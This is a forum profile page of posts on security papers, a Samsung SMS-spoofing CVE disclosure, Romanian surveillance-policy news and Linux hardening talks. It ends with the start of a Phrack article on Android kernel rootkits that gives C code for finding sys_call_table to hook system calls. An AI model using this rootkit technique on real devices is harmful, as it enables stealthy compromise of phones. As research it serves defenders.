Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. Blended Attacks Exploits, Vulnerabilities and Buffer-Overflow Techniques in Computer Viruse By Eric Chien and Péter Ször Symantec Security Response Contents Abstract . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .3 Definition of a Blended Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .3 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .3 Background . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4 T ypes of Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .5 Buffer Overflows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .5 Second Generation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .7 Third Generation. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .11 URL Encoding and Canonicalization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .16 MIME Header Parsing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .17 Applications Rights Verification . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .19 System Modification . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .19 Network Enumeration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .19 Current and Previous Threats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .20 Buffer Overflow Details . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .23 Exception Frame Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .24 Buffer Overflow Usage in Computer Viruses . . . . . . . . . . . . . . . . . . . . . . . . . . .25 Current Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .29 Combating Blended Threats in the Future . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .30 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .31 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .32 Appendix A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .32 Appendix B . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .35 About the Authors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .36 Download: http://www.symantec.com/avcenter/reference/blended.attacks.pdf
  2. Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade rispin Cowan, Perry Wagle, Calton Pu,Steve Beattie, and Jonathan Walpole Department of Computer Science and Engineering Oregon Graduate Institute of Science & Technology (crispin@cse.ogi.edu) http://www.cse.ogi.edu/DISC/projects/immunix — 1 — Abstract Buffer overflows have been the most common form of security vulnerability for the last ten years. More over, buffer overflow vulnerabilities dominate the area of remote network penetra- tion vulnerabilities, where an anonymous Inter- net user seeks to gain partial or total control of a host. If buffer overflow vulnerabilities could be effectively eliminated, a very large portion of the most serious security threats would also be eliminated. In this paper, we survey the various types of buffer overflow vulnerabilities and attacks, and survey the various defensive mea- sures that mitigate buffer overflow vulnerabili- ties, including our own StackGuard method. We then consider which combinations of techniques can eliminate the problem of buffer overflow vulnerabilities, while preserving the functional- ity and performance of existing systems Download: http://css.csail.mit.edu/6.858/2011/readings/buffer-overflows.pdf
  3. Moderatorii au si ei viata lor, nu stau sa vada toate posturile. In schimb, voi aveti buton de Report, pe care aparent nu stiti sa il folositi.
  4. [h=1]Nokia Lumia Design Competition - concurs cu premii de 3000 de euro[/h]de Redactia Hit | 17 iulie 2013 Nokia ii provoaca pe cei mai inspirati dintre tinerii pasionati de design si ilustratie sa descopere noul smartphone Lumia 520, in cadrul unei competitii care le pune imaginatia in miscare: Nokia Lumia Design Competition. Pentru a demonstra ca este cel mai distractiv smartphone, spatele detasabil al telefonului va deveni un canvas pe care participantii il pot personaliza fara nicio restrictie. "Acestia trebuie sa-i ofere telefonului o nota personala, printr-o creatie unica si originala, care sa fie, in acelasi timp, un manifest personal creativ si amuzant. Nicio idee nu e prea indrazneata atat timp cat demonstreaza ca pana si o suprafata de dimensiuni mici, cum este cea a carcasei unui smartphone, poate fi transformata in cel mai cool suport de exprimare artistica", se arata in anuntul Nokia. Competitia se desfasoara pe platforma de creatie The Creator. Pe masura ce lucrarile vor fi inscrise, acestea vor putea fi votate de catre cele doua jurii. Intre 17 iulie si 16 septembrie, lucrarile vor fi evaluate de catre un juriu de profesionisti (format din reprezentanti Nokia, IQads si personalitati din domeniul designului, al publicitatii si al marketingului), dar si de catre publicul larg, prin intermediul paginii de competitie. La finalul competitiei, vor fi acordate 3 premii, in valoare totala de 3.000 de euro. Castigatorul premiului I va fi recompensat cu 1.500 de euro, cel de pe locul II va primi 1.000 de euro si cel de pe locul III – 500 de euro. De asemenea, castigatorii vor primi cate un smartphone Nokia Lumia 520, cu designul realizat de ei. Sursa: IQads Sursa: Nokia Lumia Design Competition - concurs cu premii de 3000 de euro | Hit.ro
  5. Nytro

    Fun stuff

    Timesnewroman.ro - Cotidian independent de umor voluntar - Temu?ii hackeri români se plâng c? serverele NASA nu con?in nici manele, nici toren?i
  6. // Removed http://www.zf.ro/business-hi-tech/naspers-a-cumparat-70-din-emag-sebastian-ghita-a-iesit-din-actionariat-9910486
  7. Problemele la adresa moderatorilor mi le adresati prin PM.
  8. [h=1]Interviu HotNews.ro: Sebastian Ghita, deputat PSD -Vom depune o initiativa legislativa care sa permita interceptarea cartelelor telefonice pre-platite. Serviciile secrete trebuie sa dispuna de instrumente de tipul PRISM pentru supravegherea internetului in cazul terorismului si al infractiunilor economice[/h] de Robert Mihailescu HotNews.ro Miercuri, 17 iulie 2013, 10:56 Actualitate | Esen?ial Deputatul PSD Sebastian Ghita vrea sa depuna o initiativa legislativa care sa permita posibilitatea interceptarii cartelelor telefonice pre-platite de catre serviciile secrete. Concret, atunci cand o persoana va cumpara o astfel de cartela, va trebuie sa prezinte codul numeric personal si, daca ulterior un judecator va decide interceptarea numarului telefonic asociat acestei cartele, serviciile secrete vor avea posibilitatea de a identifica detinatorul acestei cartele. Deputatul PSD, membru in Comisia comuna permanenta a Camerei Deputatilor si Senatului pentru exercitarea controlului parlamentar asupra activitatii SRI, dar si cel care controleaza postul de televiziune Romania TV, se pronunta pentru implementarea unui program PRISM in Romania, care sa permita supravegherea comunicatiilor pe internet, in cazul suspiciunilor de terorism sau infractiuni economice grave, argumentand in fata criticilor ca de multe ori se invoca protejarea viatii private "dar se doreste a se apara libertatea la infractiune". Sebastian Ghita isi argumenteaza demersul prin faptul ca aceasta zona, a cartelelor pre-platite, a ramas "neacoperita total" si este folosita pentru infractiuni economice. In plus, exista riscul de utilizare a acestor cartele in activitati legate de terorism. Iata mai jos declaratii facute de Sebastian Ghita, intr-un interviu acordat marti HotNews.ro, in care vorbeste despre cyber-securitate, interceptarea cartelelor pre-platite, posibilitatea ca serviciile secrete sa infiinteze firme sub acoperire, achizitii publice sau despre relatia personala cu premierul Victor Ponta. Sebastian Ghita: Exista o discutie si la nivelul Comisiei SRI, acum, si a parlamentarilor impreuna cu guvernul care vizeaza modul in care aceasta zona, ramasa neacoperita total, suntem in imposibilitatea de a avea un mod gestionat prin lege in care sa ne raportam la cartelele pre-platite, repet, exista aceasta preocupare, sa gasim o solutie. Vrem sa gasim o solutie cu privire la modul de gestionare a cartelelor pre-platite. Nu ma refer neaparat la cartelele pre-platite care au fost cumparate pana acum, care isi pierd din valabilitate, nu mai sunt folosite si incet-incet ies din uz, dar trebuie sa generam un cadru legal prin care, in conditiile in care aceste cartele pre-platite din Romania pot fi folosite la infractiuni, ele sa poata fi luate in evidenta si sa aiba acelasi regim ca telefoanele obisnuite. De ce? Am vazut toti ce s-a intamplat la Iasi, multe din cazurile ca cel din Bulgaria, de infractiuni, si ma refer si la terorism, la infractiuni economice, au, din pacate, cartelele pre-platite ca instrument de a te ascunde de autoritati. Sunt cartele pre-platite care permit traficul de date, sunt cartele pre-platite care nu permit identificarea utilizatorului. Concret, omul cand isi cumpara o cartela (...) va trebui sa prezinte dovada cu CNP, nume, prenume si adresa. Aceste date vor fi centralizate de o autoritate si, in cazul unei cereri de ascultare, operatorul trebuie sa fie capabil sa puna la dispozitie CNP-ul, numele si prenumele persoanei care a folosit o anumita cartela. Nu este o initiativa personala, fie vom gasi o forma prin care sa convingem guvernul sa vina cu o astfel de initiativa, fie o sa depunem mai multi (parlamentari) in Parlament, ma chinui sa conving niste colegi acum si am si avut niste discutii cu cativa, in toamna vom incepe demersurile pentru chestiunea aceasta. Reporter: A existat o cerere de afara Romaniei pentru acest demers? S.G. De foarte multe ori folosim chestiunea aceasta cu cereri din afara ca sa facem noi ceva. Realitatea e ca eu nu vreau sa imi vad copiii rapiti pe strada si nici nu vreau sa imi vad sarind vreo bomba intr-un hotel si nici nu cred ca in numele libertatilor cetatenesti trebuie sa ne permitem luxul de a fi nesiguri, de a ne lasa expusi. E o mare gaura in chestiunea asta pentru siguranta noastra a tuturor. Nu cred ca mai trebuie sa vina de afara cineva sa ne spuna ce avem de facut. Am avut intalniri cu comisiile altor state care se ocupa de legiferare si i-am intrebat, am citit rapoarte, modul in care se legifereaza in alte tari. Tehnologia avanseaza foarte tare si pana la urma la asta ne-am angajat in societate, nu ne-am facut deputati ca sa vrem insigne si sa ne plimbam pe acolo, prin Parlament, prin cladirea lui Nea Nicu. Am discutat aceasta initiativa si in PSD, exista o reticenta, o frica de a te expune public ca politician cu o astfel de initiativa, dar sa fii politician nu inseamna sa fugi de raspundere ca sa nu ti se poata reprosa nimic, la sfarsit trebuie sa le spui oamenilor, am facut asta, mi-am asumat asta, in asta cred, si eu cred ca prin experienta capatata in industria IT, in apropiere de lumea informaticii, lumea comunicatiilor, cyberworld sau societatea informationala pot sa imi asum rolul de a fi membru al unei echipe care impinge astfel de lucruri. Legislatia noastra e veche, tehnologia a avansat foarte mult, eu am 34 de ani si in curand doi copii, acum am doar unul. Ma gandesc cu groaza ca se poate intampla ceva rau. Nu stiu cum vom reactiona toti. Daca acum nu facem ce trebuie, atunci ne vom da toti pumni. Noi, ca politicieni, in loc sa iesim public si sa explicam ca de fapt nu vrem sa va inregistram, sa va ascultam de nebuni, degeaba, oricand, ci doar in cazul in care se constata ca in anumite infractiuni gen terorism, zonele evaziunii fiscale groaznice, a crimei organizate, se folosesc astfel de metode de a te ascunde de autoritati, atunci operatorul sa poata sa spune la mine Popescu a cumparat cartela. In ceea ce priveste politica pe cyber-securitate, lucrurile vor capata amploare si va deveni mai importanta discutia despre ce informatii luam din spatiul oarecum public, respectiv Facebook, Google, alte date luate de pe alte site-uri, social media, despre cetatenii din Romania si cei din afara care vizeaza Romania, decat despre ce se intampla cu cartelele sau cu telefoanele sau cu ascultarile. Sa stiti ca astazi informatia aflata pe net este de multe ori mult mai valoroasa decat o convorbire telefonica. Cercul relational, prieteniile, tipul de mesaje, poti mult mai repede sa-ti dai seama de pornirile idioate, de terorism, de atentator, de om nebun ale unui individ de pe Facebook sau din felul in care se exprima pe bloguri, cum pune comentarii la articole din ziare, decat dintr-o convorbire pe care o are cu prietena. Si atunci, cred ca s-au facut eforturi si Romania va trebui sa faca eforturi uriase acum, sa faca rapid pasul spre update-ul tehnologic pentru a putea foarte repede sa prinda astfel de informatii si sa le si utilizeze. O informatie, degeaba o prinzi, daca nu o poti si utiliza. Reporter: Inteleg ca ati putea avea in vedere un program PRISM pentru Romania? S.G.: Da, cred foarte tare ca serviciile romanesti ar trebui, fie in relatie cu ceilalti parteneri de afara, fie ele direct, sa isi construiasca astfel de instrumente. Daca nu si-au si construit. Oricum, un mandat de la un judecator, pentru ca fara un mandat de la un judecator nu se poate vorbi de nimic, contine astazi posibilitatea ca un cetatean sa aiba interceptate toate mijloacele de comunicatie electronice, aici referindu-ne si la ceea ce a facut in trecut, pe retele de socializare, pe internet, si credeti-ma log-urile, history-urile, iti arata totul, ce face acum si ce face pe perioada mandatului. De urgenta trebuie sa se gandeasca si trebuie sa le alocam resurse financiare astfel incat (serviciile secrete n.r.) sa fie capabile sa culeaga aceste informatii. Degeaba ne vom certa cu ei la televizor si ii vom acuza daca azi nu le dam resurse si nu-i ajutam, pana la urma e tara noastra, e viata noastra, daca nu ne hotaram sa plecam de aici si sa stam in Germania si sa credem ca ne apara serviciile de acolo si ca societatea de acolo e mai organizata, atunci trebui sa o organizam pe cea de aici. Repede. Oamenii mai in varsta, conducatorii mai in varsta, politicienii mai in varsta uneori nu inteleg deloc despre ce e vorba si alteori inteleg asa in mare, inteleg ca e ceva complicat... Reporter: In afara au aparut reactii foarte critice la astfel de initiative. S.G. De la pseudogrijulii fata de societate. In cine sa am mai multa incredere? Intr-unul de la servicii, care, vezi Doamne, ar abuza de informatia asta, sau intr-un nebun care vrea sa arunce cu o bomba pe care a gasit-o el pe la el prin sat un campus universitar in aer? Va zic eu de acum, o sa avem mai multa incredere in cei de la servicii, asta e realitatea pe tot globul si trebuie sa ne obisnuim cu ea. Reporter:Se va redeschide dezbaterea legata de statul politienesc care se construieste in Romania, acuzat de membrii unor partide? S.G. Nu am observat o preocupare mai mare intr-un partid sau altul, in toate partidele sunt acest preocupari si vizeaza in general componenta care, vezi Doamne serviciile, intra in zona de coruptie sau in zona de infractionalitate economica. Trebuie sa se obisnuiasca si cei din partide ca organizatiile lor nu sunt o adunatura a escrocilor si a coruptilor de pretutindeni ci trebuie sa-si puna munca in slujba societatii.. Reporter: Si in ceea ce priveste acuzatiile de intruziune in viata privata? S.G.: Discursul se suprapune si e pervers de multe ori. Se foloseste viata intima dar se doreste a se apara libertatea la infractiune. Viata intima, da, trebuie protejata, capacitatea de a face rau societatii nu trebuie protejata si nu cred ca se va gasi un politician sa faca rele contra libertatilor omului dar nici nu cred ca mai trebuie sa stam cu mainile in san sa toleram atatea rele in numele libertatii si drepturilor omului. Maine veti vedea ca retelele de prostitutie se muta din discoteca din Mizil pe Facebook, de fapt s-au mutat deja, stiti bine. Romancele de 15 ani o sa fie racolate de pe Facebook si proxenetii nu vor mai sta in Romania, vor sta in Palma de Mallorca, si trebuie sa fim in stare sa blocam lucrul asta, altfel o sa fim carne de tun. In Romania, astazi, cel mai mare bun pe care il avem e siguranta noastra. Nooua nu ni se rapesc copiii, nu ni se impusca politicieni sau oameni de afaceri ca in Bulgaria, nu te santajeaza la colt de strada cine stie ce gainari, nu se intampla nimic din toate astea. Reporter: Sunteti membru Comisia comuna permanenta a Camerei Deputatilor si Senatului pentru exercitarea controlului parlamentar asupra activitatii SRI. Legile securitatii nationale vor fi aprobate inainte sau dupa modificarea Constitutiei? S.G. Au existat discutii in comisii cu privire la discutarea rapoartelor - in cazul nostru, ale SRI, si au existat discutii cu privire la elaborarea unui nou pachet legislativ. Astazi (n.r. marti) asteptam o opinie a presedintelui Comisiei, dl Georgian Pop, care sa ne aduca mai multe informatii vizavi de raportarea la noua constitutie. Facem legile sigurantei in conditiile vechii constitutii, cu CSAT, cu un anumit tip de organizare, sau le facem definind beneficiarii si nevoile informationale? Sunt multe voci care spun ca daca tot facem un lucru, sa-l facem ca lumea. Nu am facut pe vechea constitutie legile sigurantei nationale si le facem acum cu un an inainte de a face noua constitutie? Si eu tind sa cred ca mai bine masuram de zece ori si sa facem o data ceva decat sa facem in fiecare an noi legi ale sigurantei, care sunt foarte importante. Reporter: Acecste legi vor include si posibilitatea ca servciile secrete sa infiinteze firme sub acoperire? S.G. M-am uitat asa, amuzat, la dezbaterea publica cu firmele infiintate sub acoperire, din ce cunosc eu cadrul legislativ, si l-am studiat bine, nu exista posibilitatea serviciilor de informatii din Romania sa infiinteze firme sub acoperire. Nu exista aceasta notiune in lege, nici nu cred ca pot prezenta Parlamentului cereri de astfel de resurse, ar fi o distorsionare majora a pietei si nu as incuraja infintarea de catre serviciile de informatii a unor firme sub acoperire. Cred ca sunt 'n'mijloace pentru a se actiona in afara tarii si in tara pentru a se aduna informatii si nu cred ca notiunea de firma sub acoperire are sens, nu cred ca poate exista intr-o societate democratica si intr-o societate care are definit conceptul de economie de piata. Nu au ce sa caute serviciile in infiintarea unor societati sub acoperire. Reporter: Daca tot vorbim de initiative legislative, aveti in vedere si modificarea legii care a majorat pragul pentru achizitiile publice? Am lucrat destul de mult, fac 17 ani de munca in aceasta chestie, achizitii publice, bugetele statului, si consider ca o flexibilizare si o crestere a pragurilor de la care se pot face achizitii directe este utila. Cu toate astea, legea prevede foarte clar felul in care se poate face acest lucru, tot trebuie sa ai trei oferte din piata. Sigur ca multi am putea suspecta ca ele se aranjeaza, ca cerem trei oferte cui credem noi si castiga cine trebuie. Dar lucrul asta este o infractiune. Curtea de Conturi, directiile fiscale, alte autoritati ale statului pot prinde oricand un primar care masluieste la 30.000 de euro o achizitie publica. Trebuie sa le dam si primarilor, directorilor de companii, prezumtia de buna credinta, trebuie sa-i si - nu sensibilizam, si nici motivam, dar sa-i responsabilizam. Noi ti-am dat 100.000 de euro pe mana sa zugravesti, varuiesti, sa angajezi un constructor, tu ai grija sa o faci bine, pentru ca vine milita. Reporter: Premierul Ponta parea nemultumit de modificarile operate in Parlament. S.G. Cred ca nu acolo a fost nemultumirea, vizavi de pragurile acestea, ci nemultumire a fost la faptul ca acele companii, Romgaz, Transgaz, Electrica, care inca au capital majoritar de stat, ar putea sa se sustraga legii achizitiilor publice. Din cum il stiu eu pe domnul prim ministru Ponta, nu va permite asa ceva. Toate companiile vor aplica OUG 34. Reporter: Si pentru ca am amintit de premierul Ponta, o parte a presei a speculat rececnt ca exista o 'racire' a relatiilor. S.G. Nu am vazut (relatarile din presa, n.r.), relatiile sunt acelasi, evident, primul ministru Ponta nu mai are timpul, rabdarea si posibiltiatea sa se raporteze la vechile relatii la fel cum se raporta pana acum. Asa ca in mod evident are alte responsabilitati in societate, si eu m-as bucura sa-si vada de ele, nu sa stea toata ziua la bere cu prietenii sau la distractii, Asa ca mi-as dori foarte mult sa reuseasca tot ce si-a propus. Si ecihpa lui, din care fac si eu parte, eu mi-as dori sa reuseasca cat mai multe, nu m-ar deranja absolut deloc o racire a relatiilor, sper ca timpul pe care nu-l mai aloca prietenilor si familiei si distractiei sa-l aloce cat mai bine treburilor guvernamentale. Cel putin chestiunea vizitelor externe si relatiilor externe si dezghetarea lor suntem toti mandri si incantati, nu credeam vreodata ca in sase luni de zile dl prim ministru va putea sa alerge atat de tare si de mult si sa si obtina atatea vizite importante la nivel inalt. Sursa: Interviu HotNews.ro: Sebastian Ghita, deputat PSD -Vom depune o initiativa legislativa care sa permita interceptarea cartelelor telefonice pre-platite. Serviciile secrete trebuie sa dispuna de instrumente de tipul PRISM pentru supravegherea internetu MUIE! Si uite ca asa poate ma apuc si eu de un proiect, o idee mai veche...
  9. US orders release of justification for spying Court tells government to publish legal basis for Prism programme's warrantless monitoring of millions of communications Last Modified: 17 Jul 2013 01:35 [TABLE=width: 100%] [TR] [TD=class: DetailedSummary]A US court has ordered the Obama administration to declassify a 2008 court decision justifying the Prism spying programme revealed last month by whistleblower Edward Snowden. The ruling, issued earlier this week, will show how the state has legally justified its covert data collection programmes under the Foreign Intelligence Surveillance Act. Judge Reggie Walton of the Foreign Intelligence Surveillance Court issued the ruling to declassify the decision. The government is expected to decide by August 26 which parts of the 2008 decision may be published. The scope and scale of Prism, which collects millions of private foreign communications with American citizens, was leaked to the media last month by Snowden. Its operation is overseen by the FIS Court and its appeals body, the FIS Court of Review. The ruling to declassify comes after a challenge by the internet firm, Yahoo, on the constitutionality of the programme. It and a number of internet firms including Facebook, Google, AOL and Microsoft, were compelled to provide information to the National Security Agency (NSA), which runs Prism. A statement from Yahoo on Tuesday said that it was "very pleased" with the court's ruling. "Once those documents are made public, we believe they will contribute constructively to the ongoing public discussion around online privacy," Yahoo said. NSA sued Meanwhile, 19 organisations represented by the Electronic Frontier Foundation (EFF) has filed a suit against the NSA for violating their right of association by illegally collecting their call records. The coalition includes Unitarian church group, gun ownership advocates, and a broad coalition of membership and political advocacy groups. "The First Amendment protects the freedom to associate and express political views as a group, but the NSA's mass, untargeted collection of Americans' phone records violates that right by giving the government a dramatically detailed picture into our associational ties," Cindy Cohn, the legal director for the EFF, said. "Who we call, how often we call them, and how long we speak shows the government what groups we belong to or associate with, which political issues concern us, and our religious affiliation. "Exposing this information – especially in a massive, untargeted way over a long period of time – violates the Constitution and the basic First Amendment tests that have been in place for over 50 years." Data requests Meanwhile a number of major US Internet companies, including Microsoft, Google and Facebook have asked the government for permission to disclose the number of national security-related user data requests they receive. Also on Tuesday, Microsoft published an lengthy letter to US Attorney General Eric Holder asking for greater freedom to publicly discuss how it turns over user information to the government. The letter was a response to a The Guardian newspaper report that said Microsoft had given authorities the ability to circumvent encryption of Outlook emails and to capture Skype online chats. The company says that report is inaccurate. [/TD] [/TR] [TR] [TD=class: Tmp_hSpace10][/TD] [/TR] [TR=class: SourceBarTitle] [TD] Source: Agencies [/TD] [/TR] [/TABLE] Sursa: US orders release of justification for spying - Americas - Al Jazeera English
  10. Samsung Galaxy S3/S4 SMS Spoofing Authored by Z.X. The Samsung Galaxy S3 and S4 phones come with a pre-loaded application that allows for spoofing and creation of arbitrary SMS content. Hi list, I would like to inform you that the details of the vulnerability in built-in system app of Samsung Galaxy S3/S4 (assigned as CVE-2013-4763 and CVE-2013-4764) are now disclosed to public. In Samsung Galaxy S3/S4, a pre-loaded app, i.e., sCloudBackupProvider.apk, is used to provide backup functionality for the users, and it unintentially exposes several unprotected components. By exploiting these unprotected components, an unprivileged app can trigger a so-called “restore” operation to write SMS messages back to the standard SMS database file (mmssms.db) used by the system messaging app, i.e., SecMms.apk. As a result, a smishing attack can effectively create and inject arbitrary (fake) SMS text messages. Similarly, fake MMS messages and call logs are also possible. This vulnerability has been disclosed in CVE-2013-4763. Also, these components can be sequentially triggered in a specific order to create arbitrary SMS content, inject to system-wide SMS database, and then trigger the built-in SMS-sending behavior (to arbitrary destination). This vulnerability has been disclosed in CVE-2013-4764. QIHU Inc. discovered these vulnerability and informed Samsung Corp. in June 10, 2013. Samsung confirmed the vulerability and is now preparing an OTA update. As a temporary workaround, disable the sCloudBackupProvider.apk app would help block known attack vectors. Details of CVE-2013-4763 and CVE-2013-4764 can be also found in QIHU Inc.'s official site: http://shouji.360.cn/securityReportlist/CVE-2013-4763.html http://shouji.360.cn/securityReportlist/CVE-2013-4764.html Regards, Z.X. from QIHU Inc. Sursa: Samsung Galaxy S3/S4 SMS Spoofing ? Packet Storm
  11. Selinux For Dummies Description: SELinux For Dummies - LinuxFest Northwest 2013 Presentation by Gary Smith, Information System Security Officer, Molecular Science Computing, Pacific Northwest National Laboratory, Richland, WA. In the beginning, the Unix file system's Discretionary Access Control (DAC) security model was simple and elegant. For decades, it was good enough for most situations but as as increasing security demands were put on DAC, it began to run out of steam. Security Enhanced Linux (SELinux) was created by the National Security Agency (NSA) to be the most mature and complete response to the need for more secure Linux systems. Even though many distributions come with SELinux enabled by default, many system administrators disable SELinux out of fear their applications won't run. This is no longer acceptable. Today everything from cell phones to super computers need high quality security. Imagine being able to sandbox applications such as your web browser, email client, or even a virtual machine. The traditional Linux security make this difficult or next to impossible. SELinux, however, makes this fine grain security available to everyone. When it first arrived, SELinux seemed harder to learn and more mysterious than Quantum Mechanics. As a result, system administrators feared it. It's time to lay fear aside. SELinux for Dummies will show you what SELinux is, why it's a great addition to the security arsenal, and how to maintain and troubleshoot it. For More Information Please Visit : - linuxfestnorthwest.org Sursa: Selinux For Dummies
  12. The Linux Audit Framework Description: The Linux Audit Framework - LinuxFest Northwest 2013 Presentation by Gary Smith, Information System Security Officer, Molecular Science Computing, EMSL, Pacific Northwest National Laboratory, Richland, WA. The Linux audit framework as shipped with many Linux distributions system provides a framework that reliably collects information about any security-relevant events. The audit records can be examined to determine whether any violation of the security policies has been committed, and by whom. Linux audit helps make your system more secure by providing you with a means to analyze what is happening on your system in great detail. It does not, however, provide additional security itself—it does not protect your system from code malfunctions or any kind of exploits. Instead, Audit is useful for tracking these issues and helps you take additional security measures to prevent them. This session provides a basic understanding of how audit works, how it can be set up, and how to use various utilities to display, query and archive the audit trail and how Linux Audit can be part of any overall Defense in Depth strategy. Sursa: The Linux Audit Framework
  13. Da, merge pe ideea "e jucaria mea si fac ce vreau cu ea", e comunist... Chiar imi place omu asta!
  14. Bun, se muta la gunoi si se astepta un raspuns de la autor, inainte de a primi ban pentru deficit grav de neuroni.
  15. Android platform based linux kernel rootkit ==Phrack Inc.== Volume 0x0e, Issue 0x44, Phile #0x06 of 0x13 |=-----------------------------------------------------------------------=| |=-----------=[ Android platform based linux kernel rootkit ]=-----------=| |=-----------------------------------------------------------------------=| |=-----------------=[ dong-hoon you <x82@inetcop.org> ]=-----------------=| |=------------------------=[ April 04th 2011 ]=--------------------------=| |=-----------------------------------------------------------------------=| --[ Contents 1 - Introduction 2 - Basic techniques for hooking 2.1 - Searching sys_call_table 2.2 - Identifying sys_call_table size 2.3 - Getting over the problem of structure size in kernel versions 2.4 - Treating version magic 3 - sys_call_table hooking through /dev/kmem access technique 4 - modifying sys_call_table handle code in vector_swi handler routine 5 - exception vector table modifying hooking techniques 5.1 - exception vector table 5.2 - Hooking techniques changing vector_swi handler 5.3 - Hooking techniques changing branch instruction offset 6 - Conclusion 7 - References 8 - Appendix: earthworm.tgz.uu --[ 1 - Introduction This paper covers rootkit techniques that can be used in linux kernel based on Android platform using ARM(Advanced RISC Machine) process. All the tests in this paper were performed in Motoroi XT720 model(2.6.29-omap1 kernel) and Galaxy S SHW-M110S model(2.6.32.9 kernel). Note that some contents may not apply to all smart platform machines and there are some bugs you can modify. We have seen various linux kernel hooking techniques of some pioneers([1] [2][3][4][5]). Especially, I appreciate to Silvio Cesare and sd who introduced and developed the /dev/kmem technique. Read the references for more information. In this paper, we are going to discuss a few hooking techniques. 1. Simple and traditional hooking technique using kmem device. 2. Traditional hooking technique changing sys_call_table offset in vector_swi handler. 3. Two newly developed hooking techniques changing interrupt service routine handler in exception vector table. The main concepts of the techniques mentioned in this paper are 'smart' and 'simple'. This is because this paper focuses on hooking through modifying the least kernel memory and by the simplest way. As the past good techniques were, hooking must be possible freely before and after system call. This paper consists of eight parts and I tried to supply various examples for readers' convenience by putting abundant appendices. The example codes are written for ARM architecture, but if you modify some parts, you can use them in the environment of ia32 architecture and even in the environment that doesn't support LKM. --[ 2 - Basic techniques for hooking sys_call_table is a table which stores the addresses of low-level system routines. Most of classical hooking techniques interrupt the sys_call_table for some purposes. Because of this, some protection techniques such as hiding symbol and moving to the field of read-only have been adapted to protect sys_call_table from attackers. These protections, however, can be easily removed if an attacker uses kmem device access technique. To discuss other techniques making protection useless is beyond the purpose of this paper. --[ 2.1 - Searching sys_call_table If sys_call_table symbol is not exported and there is no sys_call_table information in kallsyms file which contains kernel symbol table information, it will be difficult to get the sys_call_table address that varies on each version of platform kernel. So, we need to research the way to get the address of sys_call_table without symbol table information. You can find the similar techniques in the web[10], but apart from this, this paper is written to meet the Android platform on the way of testing. --[ 2.1.1 - Getting sys_call_table address in vector_swi handler At first, I will introduce the first two ways to get sys_call_table address The code I will introduce here is written dependently in the interrupt implementation of ARM process. Generally, in the case of ARM process, when interrupt or exception happens, it branches to the exception vector table. In that exception vector table, there are exception hander addresses that match each exception handler routines. The kernel of present Android platform uses high vector (0xffff0000) and at the point of 0xffff0008, offset by 0x08, there is a 4 byte instruction to branch to the software interrupt handler. When the instruction runs, the address of the software interrupt handler stored in the address 0xffff0420, offset by 0x420, is called. See the section 5.1 for more information. void get_sys_call_table(){ void *swi_addr=(long *)0xffff0008; unsigned long offset=0; unsigned long *vector_swi_addr=0; unsigned long sys_call_table=0; offset=((*(long *)swi_addr)&0xfff)+8; vector_swi_addr=*(unsigned long *)(swi_addr+offset); while(vector_swi_addr++){ if(((*(unsigned long *)vector_swi_addr)& 0xfffff000)==0xe28f8000){ offset=((*(unsigned long *)vector_swi_addr)& 0xfff)+8; sys_call_table=(void *)vector_swi_addr+offset; break; } } return; } At first, this code gets the address of vector_swi routine(software interrupt process exception handler) in the exception vector table of high vector and then, gets the address of a code that handles the sys_call_table address. The followings are some parts of vector_swi handler code. 000000c0 <vector_swi>: c0: e24dd048 sub sp, sp, #72 ; 0x48 (S_FRAME_SIZE) c4: e88d1fff stmia sp, {r0 - r12} ; Calling r0 - r12 c8: e28d803c add r8, sp, #60 ; 0x3c (S_PC) cc: e9486000 stmdb r8, {sp, lr}^ ; Calling sp, lr d0: e14f8000 mrs r8, SPSR ; called from non-FIQ mode, so ok. d4: e58de03c str lr, [sp, #60] ; Save calling PC d8: e58d8040 str r8, [sp, #64] ; Save CPSR dc: e58d0044 str r0, [sp, #68] ; Save OLD_R0 e0: e3a0b000 mov fp, #0 ; 0x0 ; zero fp e4: e3180020 tst r8, #32 ; 0x20 ; this is SPSR from save_user_regs e8: 12877609 addne r7, r7, #9437184; put OS number in ec: 051e7004 ldreq r7, [lr, #-4] f0: e59fc0a8 ldr ip, [pc, #168] ; 1a0 <__cr_alignment> f4: e59cc000 ldr ip, [ip] f8: ee01cf10 mcr 15, 0, ip, cr1, cr0, {0} ; update control register fc: e321f013 msr CPSR_c, #19 ; 0x13 enable_irq 100: e1a096ad mov r9, sp, lsr #13 ; get_thread_info tsk 104: e1a09689 mov r9, r9, lsl #13 